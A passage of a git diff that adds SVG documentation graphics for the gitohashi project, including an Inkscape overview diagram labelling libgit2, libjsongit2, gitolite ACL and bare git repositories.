+					<path d="m14.517 122.37h-0.13725v-0.57479h0.13725zm-0.14292-0.72494q0-0.0341 0.01961-0.0537 0.02012-0.0201 0.05572-0.0201 0.03354 0 0.05366 0.0201 0.02012 0.0196 0.02012 0.0537 0 0.0351-0.02064 0.0547-0.02064 0.0191-0.05315 0.0191-0.03405 0-0.05469-0.0191-0.02064-0.0196-0.02064-0.0547z"/>
+					<path d="m14.834 122.26q0.02889 0 0.06243-0.0145v0.10732q-0.03354 0.0232-0.10062 0.0232-0.07482 0-0.11094-0.0444-0.03612-0.0449-0.03612-0.13415v-0.29772h-0.05573v-0.0614l0.07172-0.0495 0.03509-0.12177h0.08772v0.12384h0.10423v0.10887h-0.10423v0.30236q0 0.0578 0.04644 0.0578z"/>
+				</g>
+				<g fill="#800000">
+					<path d="m15.403 122.08q0 0.14138-0.05985 0.22032-0.05985 0.0784-0.16408 0.0784-0.06604 0-0.11661-0.0361-0.05057-0.0361-0.07791-0.10371-0.02735-0.0681-0.02735-0.15892 0-0.13983 0.05934-0.21825 0.05934-0.0789 0.1646-0.0789 0.10165 0 0.1615 0.0805 0.06037 0.08 0.06037 0.21671zm-0.30546 0q0 0.0898 0.01961 0.1357t0.06295 0.0459q0.08256 0 0.08256-0.18163 0-0.0903-0.02012-0.13467-0.01961-0.0449-0.06243-0.0449-0.04334 0-0.06295 0.0449-0.01961 0.0444-0.01961 0.13467z"/>
+					<path d="m15.786 122.37v-0.3426q0-0.12642-0.06346-0.12642-0.04747 0-0.06656 0.05-0.01909 0.0495-0.01909 0.14293v0.27604h-0.13725v-0.80285h0.13725v0.17852q0 0.0346-0.0062 0.12332h0.0072q0.04128-0.0846 0.12693-0.0846 0.07895 0 0.11919 0.0537 0.04025 0.0532 0.04025 0.15686v0.37511z"/>
+					<path d="m16.318 122.37-0.02735-0.0784h-0.0031q-0.03044 0.0506-0.06295 0.0697t-0.08204 0.0191q-0.06347 0-0.1001-0.0475-0.03612-0.0475-0.03612-0.13209 0-0.0908 0.04953-0.13467 0.05005-0.0444 0.14912-0.049l0.07636-3e-3v-0.0413q0-0.0805-0.06966-0.0805-0.0516 0-0.11867 0.0403l-0.04747-0.0949q0.08565-0.0542 0.18627-0.0542 0.09133 0 0.1388 0.0526 0.04799 0.0521 0.04799 0.14808v0.38595zm-0.11919-0.097q0.03767 0 0.05985-0.0335 0.0227-0.0341 0.0227-0.0903v-0.0485l-0.04231 2e-3q-0.04695 3e-3 -0.06914 0.0268-0.02167 0.0242-0.02167 0.0722 0 0.0712 0.05057 0.0712z"/>
+					<path d="m16.838 122.2q0 0.0841-0.04953 0.13157-0.04902 0.047-0.14499 0.047-0.08514 0-0.14086-0.0335v-0.11919q0.02838 0.0196 0.06604 0.0325 0.03818 0.0129 0.06708 0.0129 0.03199 0 0.0485-0.0155 0.01703-0.016 0.01703-0.0418 0-0.0263-0.01754-0.0459t-0.0645-0.048q-0.06243-0.0371-0.08978-0.0789-0.02683-0.0423-0.02683-0.0996 0-0.0733 0.05005-0.11609 0.05057-0.0428 0.13828-0.0428 0.07636 0 0.14396 0.0403l-0.04489 0.0986q-0.05521-0.0299-0.097-0.0299-0.02631 0-0.03973 0.0139-0.0129 0.0139-0.0129 0.0341 0 0.0232 0.016 0.0413 0.01651 0.0181 0.06089 0.0449 0.05366 0.0325 0.07533 0.0552t0.03354 0.0516 0.01187 0.0676z"/>
+					<path d="m17.212 122.37v-0.3426q0-0.12642-0.06347-0.12642-0.04747 0-0.06656 0.05-0.01909 0.0495-0.01909 0.14293v0.27604h-0.13725v-0.80285h0.13725v0.17852q0 0.0346-0.0062 0.12332h0.0072q0.04128-0.0846 0.12693-0.0846 0.07894 0 0.11919 0.0537 0.04025 0.0532 0.04025 0.15686v0.37511z"/>
+					<path d="m17.6 122.37h-0.13725v-0.57479h0.13725zm-0.14292-0.72494q0-0.0341 0.01961-0.0537 0.02012-0.0201 0.05573-0.0201 0.03354 0 0.05366 0.0201 0.02012 0.0196 0.02012 0.0537 0 0.0351-0.02064 0.0547-0.02064 0.0191-0.05314 0.0191-0.03406 0-0.05469-0.0191-0.02064-0.0196-0.02064-0.0547z"/>
+				</g>
+			</g>
+		</g>
+	</g>
+</svg>
diff --git a/doc/doc-assets/gitohashi-overview.svg b/doc/doc-assets/gitohashi-overview.svg
new file mode 100644
index 0000000..fe1ef73
--- /dev/null
+++ b/doc/doc-assets/gitohashi-overview.svg
@@ -0,0 +1,324 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+<svg width="163.94mm" height="216.64mm" version="1.1" viewBox="0 0 163.94383 216.63525" xmlns="http://www.w3.org/2000/svg" xmlns:cc="http://creativecommons.org/ns#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:xlink="http://www.w3.org/1999/xlink">
+	<defs>
+		<marker id="z" overflow="visible" orient="auto">
+			<path transform="matrix(.2 0 0 .2 1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="i" overflow="visible" orient="auto">
+			<path transform="matrix(-.2 0 0 -.2 -1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="ad" overflow="visible" orient="auto">
+			<path transform="matrix(.2 0 0 .2 1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="l" overflow="visible" orient="auto">
+			<path transform="matrix(-.2 0 0 -.2 -1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="aa" overflow="visible" orient="auto">
+			<path transform="matrix(.2 0 0 .2 1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="c" overflow="visible" orient="auto">
+			<path transform="matrix(-.2 0 0 -.2 -1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<filter id="r" x="-.020287" y="-.057556" width="1.0406" height="1.1151" color-interpolation-filters="sRGB">
+			<feGaussianBlur stdDeviation="0.0097149"/>
+		</filter>
+		<filter id="u" x="-.037101" y="-.099168" width="1.0742" height="1.1983" color-interpolation-filters="sRGB">
+			<feGaussianBlur stdDeviation="0.01776672"/>
+		</filter>
+		<filter id="q" x="-.020852" y="-.022404" width="1.0417" height="1.0448" color-interpolation-filters="sRGB">
+			<feGaussianBlur stdDeviation="0.010260666"/>
+		</filter>
+		<filter id="t" x="-.016301" y="-.069385" width="1.0326" height="1.1388" color-interpolation-filters="sRGB">
+			<feGaussianBlur stdDeviation="0.009322423"/>
+		</filter>
+		<filter id="s" x="-.0062326" y="-.0085229" width="1.0125" height="1.017" color-interpolation-filters="sRGB">
+			<feGaussianBlur stdDeviation="0.004594992"/>
+		</filter>
+		<filter id="v" x="-.054324" y="-.11802" width="1.1086" height="1.236" color-interpolation-filters="sRGB">
+			<feGaussianBlur stdDeviation="0.023580879"/>
+		</filter>
+		<radialGradient id="a" cx="289.72" cy="412.83" r=".053743" gradientTransform="matrix(1.1735 0 0 1.1058 -50.276 -43.662)" gradientUnits="userSpaceOnUse" xlink:href="#n"/>
+		<linearGradient id="n">
+			<stop stop-color="#c2c9ca" stop-opacity=".37603" offset="0"/>
+			<stop stop-color="#fff" stop-opacity="0" offset="1"/>
+		</linearGradient>
+		<linearGradient id="b" x1="8.4716" x2="17.364" y1="124.88" y2="123.79" gradientUnits="userSpaceOnUse" xlink:href="#m"/>
+		<linearGradient id="m">
+			<stop stop-color="#c8c6ca" stop-opacity="0" offset="0"/>
+			<stop stop-color="#c8c6ca" stop-opacity=".72157" offset=".39592"/>
+			<stop stop-color="#c8c6ca" stop-opacity=".41961" offset=".48155"/>
+			<stop stop-color="#c8c6ca" stop-opacity="0" offset="1"/>
+		</linearGradient>
+		<filter id="o" x="-.031351" y="-.045733" width="1.0627" height="1.0915" color-interpolation-filters="sRGB">
+			<feGaussianBlur stdDeviation="0.40133499"/>
+		</filter>
+		<marker id="y" overflow="visible" orient="auto">
+			<path transform="matrix(.2 0 0 .2 1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="f" overflow="visible" orient="auto">
+			<path transform="matrix(-.2 0 0 -.2 -1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="g" overflow="visible" orient="auto">
+			<path transform="matrix(-.2 0 0 -.2 -1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="ac" overflow="visible" orient="auto">
+			<path transform="matrix(.2 0 0 .2 1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="d" overflow="visible" orient="auto">
+			<path transform="matrix(-.2 0 0 -.2 -1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="ab" overflow="visible" orient="auto">
+			<path transform="matrix(.2 0 0 .2 1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="k" overflow="visible" orient="auto">
+			<path transform="matrix(-.2 0 0 -.2 -1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="x" overflow="visible" orient="auto">
+			<path transform="matrix(.2 0 0 .2 1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="j" overflow="visible" orient="auto">
+			<path transform="matrix(-.2 0 0 -.2 -1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="w" overflow="visible" orient="auto">
+			<path transform="matrix(.2 0 0 .2 1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="e" overflow="visible" orient="auto">
+			<path transform="matrix(-.2 0 0 -.2 -1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<marker id="h" overflow="visible" orient="auto">
+			<path transform="matrix(-.2 0 0 -.2 -1.2 0)" d="m0 0 5-5-17.5 5 17.5 5z" fill-rule="evenodd" stroke="#000" stroke-width="1pt"/>
+		</marker>
+		<filter id="p" x="-.03516" y="-.026161" width="1.0703" height="1.0523" color-interpolation-filters="sRGB">
+			<feGaussianBlur stdDeviation="0.73415599"/>
+		</filter>
+	</defs>
+	<metadata>
+		<rdf:RDF>
+			<cc:Work rdf:about="">
+				<dc:format>image/svg+xml</dc:format>
+				<dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage"/>
+				<dc:title/>
+			</cc:Work>
+		</rdf:RDF>
+	</metadata>
+	<g transform="translate(415.35 512.84)">
+		<rect transform="matrix(3.0565 0 0 3.0565 401.07 -1477)" x="-265.34" y="317.2" width="50.113" height="67.352" filter="url(#p)"/>
+		<rect x="-411.39" y="-509.09" width="153.17" height="205.86" fill="#f9f9f9"/>
+		<g transform="matrix(3.0565 0 0 3.0565 -496.6 -880.17)">
+			<g fill-opacity=".96694">
+				<rect x="56.207" y="125.64" width="4.002" height="4.002"/>
+				<rect x="56.337" y="126.01" width="3.7662" height="3.5157" fill="#e6e6e6"/>
+				<rect x="50.767" y="125.65" width="4.002" height="4.002"/>
+				<rect x="50.898" y="126.01" width="3.7662" height="3.5157" fill="#e6e6e6"/>
+			</g>
+			<g fill="none" stroke="#000" stroke-width=".2521px">
+				<path d="m51.444 126.56h2.6628"/>
+				<path d="m51.429 128.12h2.6628"/>
+				<path d="m51.447 127.33h2.6628"/>
+				<path d="m51.442 128.89h2.6628"/>
+			</g>
+			<rect x="61.599" y="125.64" width="4.002" height="4.002" fill-opacity=".96694"/>
+			<rect x="61.73" y="126.01" width="3.7662" height="3.5157" fill="#e6e6e6" fill-opacity=".96694"/>
+			<g fill="none" stroke="#000" stroke-width=".2521px">
+				<path d="m62.276 126.56h2.6628"/>
+				<path d="m62.261 128.11h2.6628"/>
+				<path d="m62.279 127.33h2.6628"/>
+				<path d="m62.274 128.88h2.6628"/>
+			</g>
+			<rect x="66.768" y="125.64" width="4.002" height="4.002" fill-opacity=".96694"/>
+			<rect x="66.899" y="126.01" width="3.7662" height="3.5157" fill="#e6e6e6" fill-opacity=".96694"/>
+			<g fill="none" stroke="#000" stroke-width=".2521px">
+				<path d="m67.446 126.56h2.6628"/>
+				<path d="m67.431 128.11h2.6628"/>
+				<path d="m67.449 127.33h2.6628"/>
+				<path d="m67.443 128.88h2.6628"/>
+				<path d="m56.884 126.56h2.6628"/>
+				<path d="m56.869 128.11h2.6628"/>
+				<path d="m56.887 127.33h2.6628"/>
+				<path d="m56.881 128.88h2.6628"/>
+			</g>
+		</g>
+		<path d="m-323.32-482.82 4.1235-4.8344 5.4201 3.0824-2.1791 0.54603 2.3757 16.814 2.5776-0.4222-4.5552 5.6614-5.6312-4.3711 2.5474-0.6064-2.6534-16.202z" fill="#80b3ff"/>
+		<g fill="#b9b5ad" fill-opacity=".44215">
+			<ellipse cx="-283.96" cy="-467.3" rx="8.7004" ry="9.0237"/>
+			<ellipse cx="-297.31" cy="-457.44" rx="10.079" ry="10.453"/>
+			<ellipse cx="-306.6" cy="-466.3" rx="10.079" ry="10.453"/>
+			<ellipse cx="-287.63" cy="-458.01" rx="10.768" ry="11.168"/>
+			<ellipse cx="-302.45" cy="-456.3" rx="10.079" ry="10.453"/>
+			<ellipse cx="-293.59" cy="-456.58" rx="10.079" ry="10.453"/>
+			<ellipse cx="-290.16" cy="-467.73" rx="10.079" ry="10.453"/>
+			<ellipse cx="-283.87" cy="-460.87" rx="10.079" ry="10.453"/>
+			<ellipse cx="-293.59" cy="-462.01" rx="10.079" ry="10.453"/>
+		</g>
+		<path d="m-283.62-465.6c0.0418-2.652-3.4128 0.46416-3.6124-1.8176-1.1318-1.3588-3.4826-0.0716-4.2929-0.52486-0.30229-2.0942-3.1475-1.4227-4.5071-0.79725-1.2335 1.1402-1.7945 2.9528-3.2083 3.8028-0.19439 1.2482 0.19592 2.2774 0.93216 2.9272-1.8338 3e-3 -3.4976 2.7892-1.6491 3.9138 2.4896 0.0477-1.0793 1.989 0.79036 3.0696 0.89513 1.0666 2.3933 0.52255 3.1836 0.13477-0.11925 2.0519 2.935 3.188 3.8425 1.148 0.63426-0.8187 1.1654-1.7496 1.2942-0.173 1.6086 1.7336 3.9536 1.5435 5.5535 0.21028 1.0767 1.7048 3.5135 0.45656 3.8865-1.1952 1.6-0.68637 3.8393-1.4256 3.2482-3.6327 1.1865-1.4244 1.6056-3.9983-0.72052-4.5263-1.5888-0.67725 1.1491-3.1321-1.2826-3.1045-1.1644-0.17178-3.1598 0.36323-3.621 0.74604 0.0115-0.35502 1.2162-0.47909 0.1629-0.18126z" fill-opacity=".082645"/>
+		<ellipse cx="-301.24" cy="-467.88" rx="10.079" ry="10.453" fill="#b9b5ad" fill-opacity=".44215"/>
+		<path d="m-282.07-463.1c0.0434-2.7418-3.5283 0.47991-3.7348-1.8791-1.17-1.4048-3.6005-0.074-4.4382-0.54266-0.31251-2.1651-3.2541-1.4709-4.6598-0.82423-1.2753 1.1788-1.8552 3.0527-3.3169 3.9316-0.20111 1.2905 0.20264 2.3546 0.9637 3.0263-1.8958 6e-3 -3.616 2.8837-1.7049 4.0463 2.5739 0.0496-1.1158 2.0563 0.8171 3.1735 0.92544 1.1027 2.4744 0.54026 3.2914 0.13937-0.12313 2.1214 3.0343 3.296 3.9726 1.187 0.65575-0.84645 1.2049-1.8089 1.338-0.1788 1.6631 1.7922 4.0875 1.5958 5.7416 0.21762 1.1132 1.7625 3.6325 0.47202 4.0181-1.2357 1.6542-0.70963 3.9693-1.4739 3.3582-3.7557 1.2266-1.4727 1.66-4.1337-0.7449-4.6796-1.6426-0.70024 1.188-3.2382-1.326-3.2096-1.2039-0.1776-3.2668 0.37553-3.7436 0.77128 0.0129-0.36703 1.2574-0.49531 0.16841-0.18736z" fill-opacity=".082645"/>
+		<g>
+			<path d="m-291.38-486.05 6.2954-0.8617 1.9919 5.9085-1.9895-1.0434-9.4224 14.128 2.2043 1.4011-7.1681 1.1913-1.2913-7.0106 2.3044 1.2436 8.8072-13.855z" fill="#2a7fff"/>
+			<path d="m-308.16-484.98 5.5033-3.1761 4.0764 4.7182-2.2362-0.21458-3.387 16.64 2.5703 0.46449-6.1869 3.811-3.8441-6.0033 2.6034 0.28091 2.9203-16.156z" fill="#59f"/>
+			<path d="m-337.6-480.88 2.9406-5.6328 5.9713 1.795-2.0023 1.0186 6.0684 15.86 2.4183-0.9868-3.1768 6.5352-6.4647-3.0041 2.3478-1.1596-6.2025-15.201z" fill="#acf"/>
+		</g>
+		<path d="m-325.74-469.42 0.31946 0.68126 19.586-7.1481-0.28578-0.71481z"/>
+		<path d="m-289.56-457.52c0.49875 0.0599 1.0213 0.44279 1.5026 0.26591 0.65169-0.28578 1.3034-0.57136 1.9551-0.85701 0.84719 0.16749 1.6944 0.33492 2.5416 0.50239 0.85703-0.41373 1.714-0.82749 2.5711-1.2412 0.3251 0.0886 0.65015 0.17728 0.97525 0.26593 0.4269-0.18279-0.27356-0.31746-0.41401-0.46901-0.36253-0.19165-0.7055-0.4534-1.116-0.52266-0.29771 0.12873-0.57103 0.34012-0.90633 0.37683-0.34863 0.0667-0.69517 0.15895-0.96106 0.41023-0.306 0.29281-0.73018-0.0529-1.0946-0.0759-0.24514-0.0651-0.75997-0.18279-0.83486-0.21427 0.53438 0.0764 1.0688 0.15253 1.6032 0.22894 0.39315-0.49409 0.76716-1.0034 1.1722-1.488 0.42504-0.36192 0.96079-0.20754 1.4649-0.17392 0.20448 0.0648 0.63674 0.0547 0.52239-0.22985-0.64233-0.16292-1.2689-0.39158-1.911-0.55984-0.46472-0.10359-0.67559 0.2271-0.90415 0.56702-0.25431 0.27386-0.59587 0.48981-0.73541 0.85006-0.33301 0.0331-0.68062-0.0965-1.0194-0.12471-0.35735-0.0562-0.71469-0.11221-1.0721-0.16841-1.2374 0.51187-2.4818 1.0063-3.7236 1.5072 0.0369 0.31067-0.10762 0.71662 0.17239 0.94018 0.0703 0.0697 0.14268 0.14367 0.21183 0.20998z" fill="#fea"/>
+		<path d="m-321.86-475.01c0.44628-0.23199 0.79613-0.75875 1.3252-0.73778 0.54092 0.0523 1.1574-0.18492 1.6114 0.19378 0.39478 0.17728 0.70078 0.44965 0.89128 0.83887 0.3932 0.56568 1.0391 0.85125 1.5885 1.2339 1.063 0.60767 2.147 1.1792 3.2521 1.707l-1.2889 2.1987c-1.2181 0.50814-2.4536 0.98072-3.6607 1.5116-0.33754 0.12528-0.74213 0.74335-0.99259 0.22893-0.5381-0.59703-1.0762-1.1941-1.6142-1.7912-0.20203-0.57284-0.40435-1.1457-0.60655-1.7185 0.11854-0.27141 0.78405-1.0904 0.70907-1.2752-0.35428-0.055-0.63278 0.36982-0.98706 0.31479-0.27478-0.28425-0.54656-0.64288-0.28487-0.95999 0.11365-0.23169 0.1724-0.57311-0.2381-0.5059-0.10819-0.2439 0.26868-0.57056 0.31904-0.85904-9e-3 -0.12658-0.0152-0.25369-0.0244-0.37992z" fill="#1a1a1a"/>
+		<rect x="-395.99" y="-414.09" width="124.66" height="74.331" fill="#b7b7c8"/>
+		<rect x="-388.85" y="-377.61" width="88.391" height="33.959" fill="#ffe6d5"/>
+		<path d="m-296.23-363.56h-4.5695" fill="none" marker-end="url(#h)" stroke="#000" stroke-width="1.0301"/>
+		<rect x="-357.79" y="-370.92" width="48.864" height="22.049" fill="#808080"/>
+		<text x="-332.84207" y="-356.02515" fill="#ffffff" font-family="'Open Sans'" font-size="12.143px" letter-spacing="0px" stroke-width="1.5179" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-332.84207" y="-356.02515" fill="#ffffff" font-family="'Open Sans'" stroke-width="1.5179">libgit2</tspan></text>
+		<g fill="#4d4d4d">
+			<rect x="-361.03" y="-335.3" width="13.333" height="13.197"/>
+			<rect x="-346.88" y="-335.3" width="13.333" height="13.197"/>
+			<rect x="-332.87" y="-335.3" width="13.333" height="13.197"/>
+			<rect x="-318.72" y="-335.3" width="13.333" height="13.197"/>
+		</g>
+		<path d="m-293.67-325.94 0.28578-34.865" fill="none" stroke="#000" stroke-width="1.0301"/>
+		<text x="-371.08359" y="-380.12827" fill="#000080" font-family="'Open Sans'" font-size="7.4761px" letter-spacing="0px" stroke-width=".93452" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-371.08359" y="-380.12827" fill="#000080" font-family="'Open Sans'" stroke-width=".93452">libjsongit2</tspan></text>
+		<text x="-333.21021" y="-314.30743" fill="#000000" font-family="'Open Sans'" font-size="7.2774px" letter-spacing="0px" stroke-width=".90968" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-333.21021" y="-314.30743" font-family="'Open Sans'" stroke-width=".90968">your bare git repos</tspan></text>
+		<g fill="none" stroke="#000" stroke-width="1.0285px">
+			<path d="m-354.5-349.5v12.289" marker-end="url(#e)" marker-start="url(#w)"/>
+			<path d="m-339.98-349.35v12.289" marker-end="url(#j)" marker-start="url(#x)"/>
+			<path d="m-326.32-349.35v12.289" marker-end="url(#k)" marker-start="url(#ab)"/>
+			<path d="m-311.72-349.5v12.289" marker-end="url(#d)" marker-start="url(#ac)"/>
+		</g>
+		<g>
+			<text x="-282.49365" y="-356.62146" fill="#000000" font-family="'Open Sans'" font-size="4.8827px" letter-spacing="0px" stroke-width=".61033" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-282.49365" y="-356.62146">gitolite</tspan><tspan x="-282.49365" y="-350.51813">ACL</tspan></text>
+			<g transform="matrix(3.0565 0 0 3.0565 -496.6 -880.17)" fill="#800000" stroke-width=".70932" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal" aria-label="ohashi">
+				<path d="m33.567 131.54q0 0.7592-0.32141 1.1831-0.32141 0.42116-0.88111 0.42116-0.35466 0-0.6262-0.19395-0.27154-0.19396-0.41839-0.55693-0.14685-0.36575-0.14685-0.85341 0-0.75088 0.31864-1.172 0.31864-0.42393 0.88388-0.42393 0.54585 0 0.86726 0.43225 0.32418 0.42947 0.32418 1.1637zm-1.6403 0q0 0.48212 0.10529 0.72872t0.33804 0.2466q0.44333 0 0.44333-0.97532 0-0.48489-0.10806-0.72318-0.10529-0.24106-0.33527-0.24106-0.23275 0-0.33804 0.24106-0.10529 0.23829-0.10529 0.72318z"/>
+				<path d="m35.623 133.09v-1.8398q0-0.67885-0.34081-0.67885-0.25491 0-0.35743 0.26877-0.10252 0.266-0.10252 0.76751v1.4824h-0.73703v-4.3114h0.73703v0.95869q0 0.18565-0.03325 0.66222h0.03879q0.22166-0.45441 0.68162-0.45441 0.42393 0 0.64005 0.28816 0.21612 0.2854 0.21612 0.84233v2.0144z"/>
+				<path d="m38.48 133.09-0.14685-0.42116h-0.01662q-0.16348 0.27153-0.33804 0.37405t-0.44056 0.10252q-0.34081 0-0.53754-0.25491-0.19396-0.25491-0.19396-0.70932 0-0.48766 0.266-0.72318 0.26877-0.23829 0.80076-0.26323l0.41008-0.0166v-0.22167q0-0.43224-0.37406-0.43224-0.27708 0-0.63728 0.21612l-0.25491-0.50983q0.45995-0.29093 1.0003-0.29093 0.49043 0 0.74534 0.28262 0.25768 0.27985 0.25768 0.79522v2.0726zm-0.64005-0.52091q0.20227 0 0.32141-0.1801 0.12192-0.18288 0.12192-0.48489v-0.26046l-0.2272 0.0111q-0.25214 0.0139-0.37129 0.14409-0.11637 0.13022-0.11637 0.38791 0 0.38237 0.27154 0.38237z"/>
+				<path d="m41.273 132.18q0 0.45164-0.266 0.70655-0.26323 0.25214-0.77859 0.25214-0.45718 0-0.75643-0.1801v-0.64005q0.15239 0.10529 0.35466 0.17456 0.20504 0.0693 0.3602 0.0693 0.17179 0 0.26046-0.0831 0.09144-0.0859 0.09144-0.22443 0-0.14131-0.09421-0.2466t-0.34635-0.25769q-0.33527-0.19949-0.48212-0.42393-0.14408-0.2272-0.14408-0.53476 0-0.39346 0.26877-0.62343 0.27154-0.22998 0.74257-0.22998 0.41008 0 0.77305 0.21612l-0.24106 0.52923q-0.29648-0.16071-0.52091-0.16071-0.14131 0-0.21335 0.0748-0.06927 0.0748-0.06927 0.18287 0 0.12469 0.0859 0.22167 0.08866 0.097 0.32695 0.24106 0.28816 0.17456 0.40454 0.29647 0.11637 0.12192 0.1801 0.27708 0.06373 0.15517 0.06373 0.36298z"/>
+				<path d="m43.281 133.09v-1.8398q0-0.67885-0.34081-0.67885-0.25491 0-0.35743 0.26877-0.10252 0.266-0.10252 0.76751v1.4824h-0.73703v-4.3114h0.73703v0.95869q0 0.18565-0.03325 0.66222h0.03879q0.22166-0.45441 0.68162-0.45441 0.42393 0 0.64005 0.28816 0.21612 0.2854 0.21612 0.84233v2.0144z"/>
+				<path d="m45.368 133.09h-0.73703v-3.0867h0.73703zm-0.76751-3.893q0-0.18288 0.10529-0.28817 0.10806-0.10806 0.29925-0.10806 0.1801 0 0.28816 0.10806 0.10806 0.10529 0.10806 0.28817 0 0.18841-0.11083 0.2937-0.11083 0.10252-0.28539 0.10252-0.18287 0-0.2937-0.10252-0.11083-0.10529-0.11083-0.2937z"/>
+			</g>
+			<g transform="matrix(3.0565 0 0 3.0565 -496.6 -880.17)" stroke-width=".72485" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal" aria-label="git">
+				<path d="m33.647 125.02v0.44171l-0.37658 0.0849q0.11043 0.19821 0.11043 0.49834 0 0.50117-0.27182 0.78431-0.27182 0.28315-0.75883 0.28315-0.14157 0-0.20953-0.0226-0.0538 0.0481-0.10193 0.10759-0.04813 0.0595-0.04813 0.14724 0 0.1982 0.34261 0.1982h0.45586q0.40207 0 0.61726 0.21802 0.21802 0.21519 0.21802 0.65124 0 0.5493-0.36809 0.84943-0.36809 0.30014-1.059 0.30014-0.52382 0-0.80696-0.22935-0.28315-0.22652-0.28315-0.64841 0-0.26332 0.16139-0.46435 0.16139-0.19821 0.44737-0.28881-0.1444-0.0566-0.23784-0.17555-0.09061-0.11892-0.09061-0.27748 0-0.0963 0.02831-0.17272 0.02831-0.0793 0.07928-0.14724 0.0538-0.0708 0.21519-0.20669-0.19537-0.11893-0.30863-0.36526-0.11326-0.24634-0.11326-0.54647 0-0.51816 0.27182-0.8013 0.27182-0.28315 0.77865-0.28315 0.09627 0 0.22085 0.0226 0.12458 0.0198 0.18971 0.0425zm-1.8546 3.6073q0 0.18687 0.11609 0.28597 0.11892 0.10193 0.33694 0.10193 0.34261 0 0.51249-0.13024 0.17272-0.13025 0.17272-0.35677 0-0.17838-0.09344-0.25199-0.09061-0.0736-0.3426-0.0736h-0.36526q-0.1529 0-0.24634 0.11326-0.09061 0.11609-0.09061 0.31146zm0.23218-2.5823q0 0.5578 0.31429 0.5578 0.3058 0 0.3058-0.56346 0-0.57762-0.3058-0.57762-0.31429 0-0.31429 0.58328z"/>
+				<path d="m34.785 128.17h-0.75317v-3.1542h0.75317zm-0.78431-3.9782q0-0.18688 0.1076-0.29447 0.11043-0.11043 0.3058-0.11043 0.18404 0 0.29447 0.11043 0.11043 0.10759 0.11043 0.29447 0 0.19254-0.11326 0.30013-0.11326 0.10477-0.29164 0.10477-0.18688 0-0.30013-0.10477-0.11326-0.10759-0.11326-0.30013z"/>
+				<path d="m36.526 127.59q0.15856 0 0.34261-0.0793v0.58894q-0.18404 0.12742-0.55213 0.12742-0.41056 0-0.60876-0.24351-0.1982-0.24633-0.1982-0.73617v-1.6338h-0.3058v-0.33695l0.39357-0.27181 0.19254-0.66823h0.48135v0.67955h0.57195v0.59744h-0.57195v1.6592q0 0.31712 0.25483 0.31712z"/>
+			</g>
+			<text x="-380.66119" y="-416.86029" fill="#000080" font-family="'Open Sans'" font-size="7.4337px" letter-spacing="0px" stroke-width=".92921" text-align="center" text-anchor="middle" word-spacing="0px" style="font-feature-settings:normal;font-variant-caps:normal;font-variant-ligatures:normal;font-variant-numeric:normal;line-height:1.25" xml:space="preserve"><tspan x="-380.66119" y="-416.86029" fill="#000080" font-family="'Open Sans'" stroke-width=".92921">gitohashi</tspan></text>
+		</g>
+		<path d="m-287.49-373.29h-12.289" fill="none" marker-end="url(#g)" stroke="#000" stroke-width="1.0294"/>
+		<g>
